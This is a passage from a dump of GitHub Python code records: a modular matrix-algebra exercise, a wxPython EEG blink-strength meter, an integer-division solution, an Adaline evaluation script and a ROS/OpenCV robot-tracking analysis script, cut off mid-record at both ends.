     plt.xlabel(f\"degrees (# of connections)\")\n        plt.ylabel(f\"# of nodes\")\n        plt.title(\"Karate Club Degree Distribution\")\n        plt.show()\n\n    return matrix\n","repo_name":"pro0255/MADI","sub_path":"cv3/labs/KarateClub.py","file_name":"KarateClub.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1743832946","text":"import csv\nimport matrix as models\nfrom pprint import pprint\nfrom copy import deepcopy\nimport itertools\nfrom functools import reduce\n\n\ndef read_matrix_with_space(name):\n    with open(name, 'r') as f:\n        lines = [list(map(int, line.split())) for line in f.readlines()]\n    return lines\n\ndef to_step(matrix):\n    print(matrix)\n    matrix.to_step()\n\ndef o1():\n    ls = read_matrix_with_space('o1')\n    matrix = models.Matrix(ls, mod=7)\n    to_step(matrix)\n\ndef o2():\n    ls = read_matrix_with_space('o2') # Для суммы\n    matrix = models.Matrix(ls, mod=5)\n    b2 = models.Matrix([[x.numerator for x in matrix.columns[4]]], mod=5)\n    b1 = models.Matrix([[x.numerator for x in matrix.columns[3]]], mod=5)\n    to_step(matrix)\n\n    print(f'b2={b2}, b1={b1}')\n    print(f'b2 - b1 = {b2-b1}')\n\ndef o2_sup():\n    ls = read_matrix_with_space('o2')\n    an = [models.Matrix([[x] for x in l], mod=5) for l in ls[:3]]\n    bn = [models.Matrix([[x] for x in l], mod=5) for l in ls[3:]]\n    cs = [(i, j) for j in range(5) for i in range(5)]\n    sums_a = [a * c[0] + b * c[1] for c in cs for a, b in itertools.permutations(an, 2)]\n    sums_b = [a * c[0] + b * c[1] for c in cs for a, b in itertools.permutations(bn, 2)]\n    ss = {s for s in sums_a if s in sums_b}\n    b2b3 = {a * c[0] + b * c[1] for c in cs for a, b in itertools.permutations(bn[1:], 2)}\n    print('\\n\\n'.join(map(str, ss)))\n    print(len(ss))\n    # print('\\n \\n'.join(map(str, sums[1])))\n    # res = [[' '.join(map(str, sums[i][1])) if l in sums[i][0] else '---' for l in ls] for i in range(len(sums))]\n    # pprint(res)\n    # print(str(ls[3] + ls[4] * 4))\n    # xs = [ls[4] * c[0] + ls[5] * c[1] for c in cs]\n    # print('\\n \\n'.join(map(str, xs)))\n\ndef o2_cup():\n    ls = read_matrix_with_space('o2')\n    an = [models.Matrix([[x] for x in l], mod=5) for l in ls[:3]]\n    bn = [models.Matrix([[x] for x in l], mod=5) for l in ls[3:]]\n    coefs_2 = [(i, j) for i in range(5) for j in range(5)]\n    coefs_3 = [(i, j, k) for i in range(5) for j in range(5) for k in range(5)]\n    coefs_4 = [(i, j, k, l) for i in range(5) for j in range(5) for k in range(5) for l in range(5)]\n    coefs_5 = [(i, j, k, l, m) for i in range(5) for j in range(5) for k in range(5) for l in range(5) for m in range(5)]\n    coefs_6 = [(i, j, k, l, m, n) for i in range(5) for j in range(5) for k in range(5) for l in range(5) for m in range(5) for n in range(5)]\n    coefs = {2: coefs_2, 3: coefs_3, 4:coefs_4, 5:coefs_5, 6:coefs_6}\n\n    # ax = []\n    # for xs in coefs[len(an)]:\n    #     print(len(xs), len(an), '-------')\n    #     inits = [z*t for z, t in zip(an, xs)]\n    #     r = inits[0] + inits[1]\n    #     r = r + inits[2]\n    #     ax.append(r)\n    xx = lambda an: {reduce(lambda x, y: x+y, [z*t for z, t in zip(an, xs)], \n        models.Matrix([[0] for _ in range(an[0].num_rows)], mod=5))\n        for xs in coefs[len(an)]}\n    # ax = xx(an)\n    # bx = xx(bn)\n    # abx = xx([*an, *bn])\n    # ss = [a for a in ax if a in bx]\n    # print('\\n\\n'.join(map(str, ss)))\n    # print(len(ax))\n    # print(len(bx))\n    # print(len(ss))\n    print(bn[1] in xx([*an[:2], bn[0]]))\n\ndef o2_sup():\n    ls = read_matrix_with_space('o2')\n    an = [models.Matrix([[x] for x in l], mod=5) for l in ls[:3]]\n    bn = [models.Matrix([[x] for x in l], mod=5) for l in ls[3:]]\n    coefs_2 = [(i, j) for i in range(5) for j in range(5)]\n    xs = {bn[0]*b1 + bn[1]*(b1*4) + bn[2]*b3 for b1, b3 in coefs_2}\n    print('\\n\\n'.join(map(str, xs)))\n    print(len(xs))\n    print(str(bn[0] + bn[1]*4))\n\n\ndef o3():\n    M = [models.Matrix(read_matrix_with_space(f'o3_m{i}')) for i in range(1, 5)]\n    v = models.Matrix(read_matrix_with_space('o3_v'))\n    b2 = models.Matrix(read_matrix_with_space('o3_b2'))\n    # A - матрица линейного отображения\n    A = models.Matrix([[0]*4 for _ in range(2)])\n    for i, m in enumerate(M):\n        p = m*v # умножаем один из базисных векторов M на v\n        b = deepcopy(b2)\n        b.add_column(p.columns[0]) # добавляем полученный вектор к базису в Q^2 как третий столбец\n        print('b=', b, sep='\\n')\n        b.to_step() # методом Гаусса приводим к ступеньчатому виду\n        # Выражаем p через базис в Q^2 (считаем координаты)\n        x2 = b.rows[1][2]\n        x1 = - b.rows[0][1] * x2 + b.rows[0][2]\n        # И записываем координаты в матрицу отображения\n        A.rows[0][i] = x1\n        A.rows[1][i] = x2\n        print(f'x1={x1}, x2={x2}')\n        print('\\n')\n    # Выводим матрицу отображения\n    print(A)\n    print(A*models.Matrix([[1], [0], [0], [0]]))\n\nif __name__ == \"__main__\":\n    # o2_sup()\n    ls = read_matrix_with_space('test')\n    matrix = models.Matrix(ls)\n    matrix.to_step(sorting=False)\n","repo_name":"tamarinvs19/python-learning","sub_path":"matrix/algebra/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4915,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"15563769914","text":"import random\r\nimport time\r\nimport wx\r\n\r\nfrom PyNeuro.PyNeuro import PyNeuro\r\nfrom switch import F12\r\n\r\nclass ScoreBar(wx.Window):\r\n    def __init__(self, parent, value=0):\r\n        wx.Window.__init__(self, parent, style=wx.SIMPLE_BORDER)\r\n        self.value = value\r\n        self.Bind(wx.EVT_PAINT, self.OnPaint)\r\n        self.Bind(wx.EVT_SIZE, self.OnSize)\r\n\r\n    def OnPaint(self, event):\r\n        margin = 2\r\n        border = 1\r\n        dc = wx.PaintDC(self)\r\n        w, h = self.GetSize()\r\n        #print(w,h)\r\n        score = self.value\r\n        color = self.map_value_to_color(score)\r\n        dc.SetBrush(wx.Brush(color))\r\n        w_rect = int(score * (w - (2*margin+2*border)) / 100)\r\n        h_rect = h - (2*margin+2*border)\r\n        dc.DrawRectangle(margin, margin, w_rect, h_rect)\r\n\r\n    def OnSize(self, event):\r\n        self.Refresh()\r\n\r\n    def map_value_to_color(self, value):\r\n        score = min(100, max(0, value))\r\n        color = None\r\n        if score < 50:\r\n            color = wx.Colour(255, int(255 * score / 50), 0)\r\n        else:\r\n            color = wx.Colour(255 - int(255 * (score - 50) / 50), 255, 0)\r\n        return color\r\n    \r\n    def update_score(self, value):\r\n        self.value = value\r\n        self.Refresh()\r\n\r\nclass ScoreBarPanel(wx.Panel):\r\n    def __init__(self, parent=None):        \r\n        wx.Panel.__init__(self, parent)\r\n        self.bmaFrame = parent\r\n        self.InitVars()\r\n        self.InitUI()\r\n        self.RunTimers() \r\n\r\n    def InitVars(self):\r\n        self._prefix = 'Força da piscada'\r\n        self._blinkForce = 100  # percent\r\n        self._lastFrac = self._blinkForce    \r\n        self._intervalForDecrease = 50  # milliseconds\r\n        self._theLockGap = 400\r\n        self._breakScoreFrom = 0.15\r\n        self._maximumIsLocked = True  # because on tests we starts with score\r\n        self._maximumTimestamp = self._get_timestamp_in_ms()\r\n        self._forZeroNow = False\r\n\r\n    def InitUI(self):  # for testing it starts at 100\r\n        self._print_force()\r\n        self._do_eye_status_icon()\r\n        sizer = wx.BoxSizer(wx.VERTICAL)\r\n        self.score_bar = ScoreBar(self, value=self._blinkForce)\r\n        sizer.Add(self.score_bar, 1, wx.EXPAND)\r\n        self.SetSizer(sizer)     \r\n \r\n    def RunTimers(self):\r\n        self.timer_decrease = wx.Timer(self)\r\n        self.Bind(wx.EVT_TIMER, self._on_timer_decrease, self.timer_decrease)\r\n        self.timer_decrease.Start(self._intervalForDecrease)\r\n\r\n    def PutScore(self, percentage): \r\n        self._maximumIsLocked = True\r\n        self._maximumTimestamp = self._get_timestamp_in_ms()\r\n        self._lastFrac = percentage\r\n        self._forZeroNow = False\r\n        self._do_new_score(percentage)\r\n        self._do_eye_status_icon()\r\n        self.bmaFrame.WriteStatus_LastBlinkForce(percentage)  \r\n  \r\n    def _get_timestamp_in_ms(self):\r\n        return int(time.perf_counter()*1000)\r\n\r\n    def _do_new_score(self, number):\r\n        self.score_bar.update_score(number)  #TODO percent from 255 values\r\n        self._blinkForce = number\r\n        self._print_force()\r\n\r\n    def _do_eye_status_icon(self):\r\n        if self._maximumIsLocked:\r\n            self.bmaFrame.SetEyeStatusIcon(blinking=True)\r\n        else:\r\n            self.bmaFrame.SetEyeStatusIcon(blinking=False)\r\n\r\n    def _print_force(self):\r\n        title = self._prefix + ': ' + str(self._blinkForce)\r\n        return self.bmaFrame.SetTitle(title)\r\n  \r\n    def _on_timer_decrease(self, event):\r\n        self._do_eye_status_icon()\r\n        timestamp = self._get_timestamp_in_ms()\r\n        gapOfNow = timestamp - self._maximumTimestamp\r\n        if gapOfNow > self._theLockGap:\r\n            if not self._forZeroNow:\r\n                self._maximumIsLocked = False            \r\n                score = self.score_bar.value\r\n                frac = int(score * self._breakScoreFrom)  #TODO from an interval calc\r\n                self._do_new_score(score - frac)\r\n                #self._do_eye_status_icon()\r\n                if self._lastFrac <= score:\r\n                    self._forZeroNow = not self._forZeroNow\r\n                self._lastFrac = frac\r\n            else:\r\n                if not self._maximumIsLocked:\r\n                    self._do_new_score(0)\r\n                    #self._do_eye_status_icon()      \r\n        #print(\"gap = %4d %s\" % (gapOfNow, self._maximumIsLocked))\r\n\r\nclass SingleScoreFrame(wx.Frame):\r\n    def __init__(self, parent=None):\r\n        wx.Frame.__init__(self, parent)\r\n        self.InitUI()\r\n\r\n    def InitUI(self):\r\n        self.scorePanel = ScoreBarPanel(self)\r\n        self.SetSize(320, 70)\r\n\r\nclass SingleScoreFrameOSC(SingleScoreFrame):\r\n    def __init__(self, parent=None):\r\n        super().__init__(parent)\r\n\r\n    def InitVars(self):\r\n        super().InitVars()\r\n        self._intervalForPush = 800  # milliseconds\r\n\r\n    def RunTimers(self):\r\n        super().RunTimers()\r\n\r\n        self.timer_push = wx.Timer(self)  \r\n        self.Bind(wx.EVT_TIMER, self._on_timer_push, self.timer_push)\r\n        self.timer_push.Start(self._intervalForPush)\r\n\r\n    def _on_timer_push(self, event):\r\n        timestamp = self._get_timestamp_in_ms()\r\n        number = 0\r\n        self._maximumIsLocked = False  # is used?\r\n        if not self._forZeroNow:\r\n            number = int(random.uniform(0, 100))\r\n            self._maximumTimestamp = timestamp\r\n            self._maximumIsLocked = True\r\n            #print(self._maximumIsLocked)\r\n        self._forZeroNow = not self._forZeroNow\r\n        self._do_new_score(number)\r\n  \r\n    def _on_timer_decrease(self, event):\r\n        timestamp = self._get_timestamp_in_ms()\r\n        gapOfNow = timestamp - self._maximumTimestamp\r\n        if gapOfNow > self._theLockGap:\r\n            if not self._forZeroNow:\r\n                self._maximumIsLocked = False            \r\n                score = self.score_bar.value\r\n                frac = int(score * self._breakScoreFrom)  #TODO from an interval calc\r\n                self._do_new_score(score - frac)      \r\n        #print(\"gap = %4d %s\" % (gapOfNow, self._maximumIsLocked))\r\n\r\nclass StatusFrame(wx.Frame):\r\n    def __init__(self, parent=None):\r\n        wx.Frame.__init__(self, parent,size=(320, 90),\r\n        # Impedir redimensionar e impedir maximizar\r\n        style=wx.DEFAULT_FRAME_STYLE ^ wx.RESIZE_BORDER ^ wx.MAXIMIZE_BOX)\r\n        # Sobrepor janela mas manter uma barra de títulos com Fechar:\r\n        self.SetWindowStyleFlag(wx.STAY_ON_TOP | wx.CAPTION | wx.CLOSE_BOX | wx.SYSTEM_MENU)\r\n        ''' debug: (before, with self.__current_status=0)\r\n        InitUI | __current_status = 0\r\n        OnSize | __current_status = 1\r\n        OnSize | __current_status = 2  *\r\n         Timer | __current_status = 3  ...  '''\r\n        self._current_status = 2  # começa \"visualmente\" desconectado, igual a 4\r\n        self._current_status = 4  # finalmente! TODO?\r\n\r\n        # TODO Segmentation fault no fechamento do início vazio\r\n        # TODO deixar mesmo com a piscada força=100 no início?\r\n\r\n        self.InitUI()\r\n\r\n        #print(\"InitUI | currentStatus =\", self._current_status)\r\n        self.WriteStatus()\r\n       \r\n    def InitUI(self):\r\n        self.Center()\r\n        self.scorePanel = ScoreBarPanel(self)\r\n        self.statusbar = self.CreateStatusBar(style=wx.SB_FLAT)\r\n        self.statusbar.SetBackgroundColour(wx.WHITE)\r\n        self.statusbar.SetFieldsCount(3)\r\n        self.statusbar.SetStatusWidths([10,-1,70])\r\n        self.Bind(wx.EVT_SIZE, self.OnSize)\r\n\r\n    def OnSize(self, event):\r\n        #print(\"OnSize | currentStatus =\", self.__current_status)\r\n        self.WriteStatus()\r\n\r\n    def DrawIcon(self, path_icon):\r\n        rect = self.statusbar.GetFieldRect(0)\r\n        #print(\"h = %d  w = %d\" % (rect.height, rect.width))\r\n        bmp = wx.Bitmap(path_icon)\r\n        image = bmp.ConvertToImage()\r\n        image = image.Rescale(rect.height-4, rect.height-4)\r\n        bmp = wx.Bitmap(image)\r\n        dc = wx.ClientDC(self.statusbar)\r\n        dc.DrawBitmap(bmp, rect.x+2, rect.y+2, True)\r\n        #self.statusbar.Refresh()\r\n\r\n    def WriteStatus_LastBlinkForce(self, percentage):\r\n        str_lastForce = \"Da última: %d\" % (percentage)\r\n        self.statusbar.SetStatusText(str_lastForce, 2)\r\n\r\n    def WriteStatus(self, status=None):\r\n        status_now = PyNeuro.status_def_at[self._current_status]\r\n        if status:\r\n            status = PyNeuro.status_def[status]\r\n            self._current_status = status.index\r\n            status_now = status\r\n        self.DrawIcon(status_now.icon)  # status bar\r\n        self.statusbar.SetStatusText(status_now.description, 1)    \r\n\r\n    def SetIcon(self, path_icon):\r\n        icon = wx.Icon(path_icon, wx.BITMAP_TYPE_ICO)\r\n        return super().SetIcon(icon)\r\n\r\n    def SetEyeStatusIcon(self, blinking=False):\r\n        path_icon = \"icons/olho-aberto.ico\"\r\n        if blinking:\r\n            path_icon = \"icons/olho-fechado.ico\"\r\n        self.SetIcon(path_icon)\r\n\r\nclass StatusFrameOSC(StatusFrame):\r\n    def __init__(self, title):\r\n        super().__init__(title)\r\n        self.RunTimers()\r\n\r\n    def OnTimer(self, event):\r\n        #print(\"Timer | currentStatus =\", self._current_status)\r\n        self.WriteStatus()\r\n\r\n    def RunTimers(self):\r\n        self.timer = wx.Timer(self)\r\n        self.Bind(wx.EVT_TIMER, self.OnTimer, self.timer)\r\n        self.timer.Start(2000)  # 2 seconds\r\n\r\n    def WriteStatus(self):  # rotates the status by timer\r\n        super().WriteStatus()\r\n        if self._current_status == 0: # connected, see above\r\n            self.WriteStatus_LastBlinkForce(int(random.uniform(0, 100)))\r\n        else:\r\n            self.WriteStatus_LastBlinkForce(0)  # only in testing \r\n        self._current_status = (self._current_status + 1) % 5\r\n\r\nclass BmaSingleMeter(StatusFrame):\r\n    def __init__(self):\r\n        StatusFrame.__init__(self)\r\n        self.Start_EEG()\r\n\r\n    def Start_EEG(self):\r\n        self.TGSP = PyNeuro()\r\n        self.TGSP.set_blinkStrength_callback(self.OnBlinkStrength)\r\n        self.TGSP.set_status_callback(self.OnStatusChange)\r\n        # TODO dentro do PyNeuro, os callbacks de print() ou logger\r\n        # TODO estudar como detalhar o \"error\" genérico do parser\r\n        self.TGSP.connect()\r\n        self.TGSP.start()\r\n\r\n    def OnBlinkStrength(self, value):  # 0-255\r\n        F12()\r\n        percentage = int( (100*value) / 255 )  # 0-100\r\n        self.scorePanel.PutScore(percentage)\r\n    \r\n    def OnStatusChange(self):\r\n        self.WriteStatus(self.TGSP.status) # needs lock?\r\n\r\ndef test_single_meter():\r\n    app = wx.App()\r\n    frame = BmaSingleMeter()\r\n    frame.Show()\r\n    #frame.Raise() # mas o ACAT está mandando primeiro\r\n    app.MainLoop()\r\n\r\ndef test_status_things():\r\n    app = wx.App()\r\n    frame = StatusFrame(\"Barra de status\")\r\n    #frame = StatusFrameOSC(\"Barra de status (OSC)\")\r\n    frame.Show()\r\n    app.MainLoop()\r\n\r\ndef test_score_things():\r\n    app = wx.App()\r\n    #frame = SingleScoreFrameOSC()\r\n    frame = SingleScoreFrame()\r\n    frame.Show()\r\n    app.MainLoop()\r\n\r\nif __name__ == '__main__':\r\n    #test_status_things()\r\n    #test_score_things()\r\n    test_single_meter()","repo_name":"ENE/BMA","sub_path":"bma.py","file_name":"bma.py","file_ext":"py","file_size_in_byte":11104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16553181318","text":"class Solution:\n    # @param {integer} dividend\n    # @param {integer} divisor\n    # @return {integer}\n    def divide(self, dividend, divisor):\n        if divisor == 0:\n            return None\n        sig = 1-2*(1 if dividend * divisor<0 else 0)\n        dividend,divisor = abs(dividend), abs(divisor)\n        if divisor == 1:\n            return min(max(dividend * sig,-2147483648),2147483647)\n        res = 0\n        while(dividend >= divisor):\n            t_divisor,i = divisor,1\n            while(dividend >= t_divisor):\n                dividend -= t_divisor\n                res += i\n                i <<=1 #i * 2 (twice each divisor, so twice the counter )\n                t_divisor <<=1 # t_divisor *2 (increase divisor)\n                \n        return min(max(res * sig, -2147483648),2147483647)\n        ","repo_name":"saai/codingcat","sub_path":"divide.py","file_name":"divide.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13365256930","text":"import csv\n\nmatrix_input = []\nvector_t = []\n# Get 12 examples from a csv file and the truth for each one\nwith open(\"test.csv\", \"r\") as csv_file:\n    csv_reader = csv.reader(csv_file, delimiter=',')\n    line_count = 2\n    for row in csv_reader:\n        if line_count%2 == 0:\n            matrix_input.append(row)\n        else:\n            vector_t.append(row[0])\n        line_count += 1\n\nvector_weight = []\nwith open(\"weights.csv\", \"r\") as weights_csv:\n    csv_reader = csv.reader(weights_csv, delimiter=',')\n    line_count = 0\n    for row in csv_reader:\n        vector_weight = row\n\nfor i, example in enumerate(matrix_input):\n    s_out = 0\n    for j in range(len(example)):\n        s_out += int(example[j])*float(vector_weight[j])\n    print(\"Resposta para exemplo \"+str(i)+\": \"+str(s_out))\n    print(\"Verdade para exemplo \"+str(i)+\": \"+str(vector_t[i]))","repo_name":"lfares/adaline-y","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15138295209","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\n@author: Luca Tonin, Felix Bauer\nblob detection in track_robot(frame) inspired by \nhttps://www.pyimagesearch.com/2015/09/14/ball-tracking-with-opencv/\n\nCall program with following options:\n    --config <the yaml configuration file>\n    -p show preview window with robot and marker\n\nWhile tracking the robot, the program will make sure for each frame the newly \ndetermined robot position is not too far away (max_dist) from the previous one. \nOtherwise it will ignore the frame and print a warning. If no robot is found at \nall, a warning is printed as well and the frame is ignored.\n\nIf too many warnings are printed, use -p option to check what is going on and\nadapt HSV range with rangeLower and rangeUpper.\n\nTrajectories are saved in npy-file in the directory given with option -d, \nas array of arrays, where each subarray contains the x and y coordinates of \none trial.\n\n\"\"\"\n\nimport rosbag\nimport cv2\nimport argparse\nimport cv_bridge\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport yaml\nimport fnmatch\nimport pdb\n\n\nn_tasks = 7\n#maximum distance between two points before assuming an error (in cm)\nmax_dist = 200.\n\n#TiD dict:\ntask0 = 26112\ntask0_end = 58880\nevtResume = 25352\nevtPause = 25353\n\n################ Functions #######################\n\n# Import configuration from yaml file\ndef import_configuration(filename):\n\n    try:\n        with open(filename, 'r') as file:\n            cfg = yaml.load(file)\n    except Exception as error:\n        print(\"Cannot open the file:\" + filename)\n    return cfg\n\n\ndef distance(a, b):\n    return np.sqrt((a[0]-b[0])**2 + (a[1]-b[1])**2)\n\ndef track_robot(frame, previous=None):\n  \n    rows, cols, channels = frame.shape\n    roi = np.zeros(frame.shape, dtype=\"uint8\") \n    roi = cv2.rectangle(roi, (1660, 900), (1920, 1080), (255, 255, 255), -1)\n    roi = cv2.bitwise_not(roi)\n    frame = cv2.bitwise_and(frame, roi)\n   \n    # blur frame and convert it to the HSV\n    # color space\n    # blurred = cv2.GaussianBlur(frame, (11, 11), 0)\n    hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n \n    # construct a mask for the color \"green\", then perform\n    # a series of dilations and erosions to remove any small\n    # blobs left in the mask\n    mask = cv2.inRange(hsv, rangeLower, rangeUpper)\n    mask = cv2.erode(mask, None, iterations=2)\n    mask = cv2.dilate(mask, None, iterations=2)\n    \n    #cv2.namedWindow(\"Mask\", cv2.WINDOW_NORMAL)\n    #cv2.imshow(\"Mask\", mask)\n    #cv2.waitKey(0)\n\n    # find contours in the mask and initialize the current\n    # (x, y) center of the ball\n    cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)[-2]\n    \n    center = (10000, 10000)\n \n    # only proceed if at least one contour was found\n    if len(cnts) > 0:\n\n        c = np.array([])\n        dist_prev = 10000000\n        for ct in cnts:\n            dist_prev = distance(center, previous)\n            (center1, radius) = cv2.minEnclosingCircle(ct)\n            #check if new contour is closer to previous robot position and if not too small\n            if distance(center1, previous) < dist_prev:# and radius > 2:\n                center = center1\n                c = ct\n        if np.size(c) != 0:\n            ((x, y), radius) = cv2.minEnclosingCircle(c)\n            M = cv2.moments(c)\n            center = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\n            #print('(x,y): {},{}'.format(x,y))\n            #print('center: {}'.format(center))\n            # only proceed if the radius meets a minimum size\n            if radius > 0:\n                # draw the circle and centroid on the frame,\n                cv2.circle(frame, (int(x), int(y)), int(radius),\n                    (0, 255, 255), 2)\n                cv2.circle(frame, center, 5, (0, 0, 255), -1)\n        else:\n            print(\"Nothing useful found\")\n    else:\n        print(\"Nothing found at all\")\n    # show the frame to our screen\n    if args['preview']:\n        cv2.namedWindow(\"Frame\", cv2.WINDOW_NORMAL)\n        cv2.resizeWindow(\"Frame\", 960,560)\n        cv2.imshow(\"Frame\", frame)\n        key = cv2.waitKey(1) & 0xFF\n        \n    return center\n\n\ndef transform_image_to_world(coordinates, cam_inv, rot_inv, tvec):\n    x = coordinates[0]\n    y = coordinates[1]\n    img_coords = np.array([ x, y, 1])\n\n    #Determine scaling factor s from fact that Z=0 in rw\n    s = (np.dot(rot_inv,tvec)[2] / np.dot(np.dot(rot_inv, cam_inv),img_coords)[2])\n\n    #Determine real world coordinates\n    rw_coords = np.dot(rot_inv, (s*np.dot(cam_inv,img_coords)-tvec[:,0]))\n    return (rw_coords[0], rw_coords[1])\n\n\n\n\n\ndef analyze_infobag(infobag, wrd_start, tid_name, tic_name, odom_name, run=None):\n    print(\"[track] - Analyzing rosbag\")\n    #iterate over messages\n    in_trial = 0\n    starttimes = []\n    endtimes = []\n    tasks = []\n    probabilities = []\n    odometry = []\n    start_odom=(0,0)\n\n    #Loop over all messages\n    for topic, msg, t in infobag.read_messages():\n        #Tid topic\n        #trial begins\n        if topic == tid_name and msg.event in range(task0+1, task0+n_tasks+1):\n            time = int(t.to_sec()*1000)\n            starttimes.append(time)\n            in_trial = msg.event-task0\n            tasks.append(msg.event-task0)\n            #print(in_trial)\n            #print(time)\n            tic = []\n            odom = []\n            start_odom = current_odom\n        #trial ends\n        if topic == tid_name and msg.event in range(task0_end+1, task0_end+n_tasks+1):\n            if not in_trial == msg.event-task0_end:\n                print(\"[warning] - Something went wrong - Task of ending trial does not match task of active trial\")\n            probabilities.append(tic)\n            odometry.append(odom)\n            in_trial = 0\n            time = int(t.to_sec()*1000)\n            endtimes.append(time)\n            #print(time)\n               \n        #Tic topic\n        #Store integrated probabilities for active trial\n        if topic == tic_name and not in_trial == 0:\n            tic.append(msg.classifier.classes[0].value)\n\n        #Odometry topic\n        if topic == odom_name:\n            current_odom = (msg.pose.pose.position.x,msg.pose.pose.position.y)\n            #Store odometry for active trial\n            if not in_trial == 0:\n                odom.append( [msg.pose.pose.position.x-start_odom[0]+wrd_start[0],msg.pose.pose.position.y-start_odom[1]+wrd_start[1]] )\n\n    return starttimes, endtimes, tasks, probabilities, odometry\n\n\ndef get_video_trajectories(vidbag, wrd_start, pnt_start, starttimes, endtimes, track_name):\n    print(\"[track] - Getting video trajectories\")\n    i = 0\n    trajectory = []\n    trajectories = []\n    world_old = wrd_start\n    #img_start = args[\"start\"]\n    img_start = pnt_start\n    img_old = img_start\n\n    #loop over messages\n    in_trial = False\n    for topic, msg, t in vidbag.read_messages(topics=[track_name]):\n        time = int(t.to_sec()*1000)\n        #print(time) \n        if time in range(starttimes[i], endtimes[i]):\n            in_trial = True\n            img = bridge.compressed_imgmsg_to_cv2(msg)\n            im_location = track_robot(img, img_old)\n            if im_location == (10000,10000):\n                print(\"[warning] - No object detected at t={}. Adding nan\".format(time))\n                #world_old = (float('nan'), float('nan'))\n                world_coordinates = (float('nan'), float('nan'))\n                trajectory.append(list(world_coordinates))\n            else:\n                #Check if im_location \"jumps\"    \n                world_coordinates = transform_image_to_world(im_location,\n                        camera_inv, rotation_inv, transf_vect )\n                #print(im_location)\n                #print(world_coordinates)\n                if distance(world_coordinates,world_old) >= max_dist:\n                    print(\"[warning] - Large distance between new and old location: {} vs {}- nan point (t: {})\".format(world_coordinates,world_old, t))\n                    world_coordinates = world_old\n                    world_old = world_coordinates\n                    img_old = im_location\n                    trajectory.append(list((float('nan'), float('nan'))))\n                else:\n                    #world_old = world_coordinates\n                    #img_old = im_location\n                    world_old = world_coordinates\n                    img_old = im_location\n                    trajectory.append(list(world_old))\n            #trajectory.append(list(world_old))\n                       \n        if (time > endtimes[i] and in_trial):\n            in_trial = False\n            i += 1\n            trajectories.append(trajectory)\n            trajectory = []\n            cv2.destroyAllWindows()\n            print(\"[track] - Trial {} finished\".format(i))\n            world_old = wrd_start\n            img_old = img_start\n            if i >= len(starttimes):\n                return trajectories\n    if i < len(starttimes):\n        print(\"[warning] - Not all trials seem to be part of the video\")\n    return trajectories\n\n\n############### Main routine ###########################\n\n################ Argument Parser #######################\n\n#parse name of videobagfile, bagfile, subject, run\nap = argparse.ArgumentParser()\nap.add_argument(\"--config\", help=\"Configuration filename\", required=True)\nap.add_argument(\"-p\", \"--preview\",\n    help=\"Show preview of video and tracked position\", action='store_true')\nargs = vars(ap.parse_args())\n\n############### Importing configuration ################\ncfgfile    = args['config']\n\nconfig = import_configuration(cfgfile) \n\nsubject    = config['subject']\ndate       = config['date']\nrangeLower = tuple(config['ranges']['lower'])\nrangeUpper = tuple(config['ranges']['upper'])\ntrack_dir  = config['folderpath']['tracking']\nrobot_dir  = config['folderpath']['robot']\ncalib_dir  = config['folderpath']['calibration']\ncalib_file = calib_dir + subject + \"_\" + str(date) + \"_\" + \"calibration.npy\"\n\ntopic_track = config['rostopics']['video']\ntopic_tid   = config['rostopics']['tid']\ntopic_tic   = config['rostopics']['tic']\ntopic_odom  = config['rostopics']['odom']\n\n\nprint(\"[config] - Subject: \" + subject)\nprint(\"[config] - Date: \" + str(date))\nprint(\"[config] - Lower Range: \" + \", \".join(str(x) for x in rangeLower))\nprint(\"[config] - Upper Range: \" + \", \".join(str(x) for x in rangeUpper))\nprint(\"[config] - Video tracking directory: \" + track_dir)\nprint(\"[config] - Bag robot directory: \" + robot_dir)\nprint(\"[config] - Calibration directory: \" + calib_dir)\nprint(\"[config] - Calibration file: \" + calib_file)\nprint(\"[config] - Topic video: \" + topic_track)\nprint(\"[config] - Topic tid: \" + topic_tid)\nprint(\"[config] - Topic tic: \" + topic_tic)\nprint(\"[config] - Topic odometry: \" + topic_odom)\n\n\n# Load coordinate transformation data\ntransform    = np.load(calib_file)\ncamera_inv   = transform[0]\nrotation_inv = transform[1]\ntransf_vect  = transform[2]\npnt_start    = transform[3]\nwrd_start    = transform[4]\n\n# Get robot bag files\nrobot_list = sorted(fnmatch.filter(os.listdir(robot_dir), subject + '*.mobile.bag'))\n\nprint(\"[config] + Using the following rosbags for robot:\")\nfor i, file in enumerate(robot_list):\n    print(\"         |- {}\".format(robot_dir + file))\n\n# Get video bag files\ntrack_list = sorted(fnmatch.filter(os.listdir(track_dir), subject + '*.mobile.bag'))\n\nprint(\"[config] + Using the following rosbags for video tracking:\")\nfor i, file in enumerate(track_list):\n    print(\"         |- {}\".format(track_dir + file))\n\n# Initialize CV bridge\nbridge = cv_bridge.CvBridge()\n\n\nfor run, (bfile, vfile) in enumerate(zip(robot_list, track_list)):\n    \n    print(\"[tracking] - Starting run {}: {}\".format(run+1, vfile))\n    \n    ## load bagfiles\n    infobag_path  = os.path.join(robot_dir, bfile)\n    videobag_path = os.path.join(track_dir, vfile)\n    infobag = rosbag.Bag(infobag_path)\n    vidbag  = rosbag.Bag(videobag_path)\n\n    starttimes, endtimes, tasks, probabilities, odometry = analyze_infobag(infobag, wrd_start, topic_tid, topic_tic, topic_odom, run=run)\n\n    video_trajectories = get_video_trajectories(vidbag, wrd_start, pnt_start, starttimes, endtimes, topic_track)\n\n    v = []\n    trIdx = []\n    tskIdx = []\n    for i, x in enumerate(video_trajectories):\n        v.extend(x)\n        cid=np.empty(len(x))\n        cid.fill(i)\n        trIdx.extend(cid)\n        ctsk = 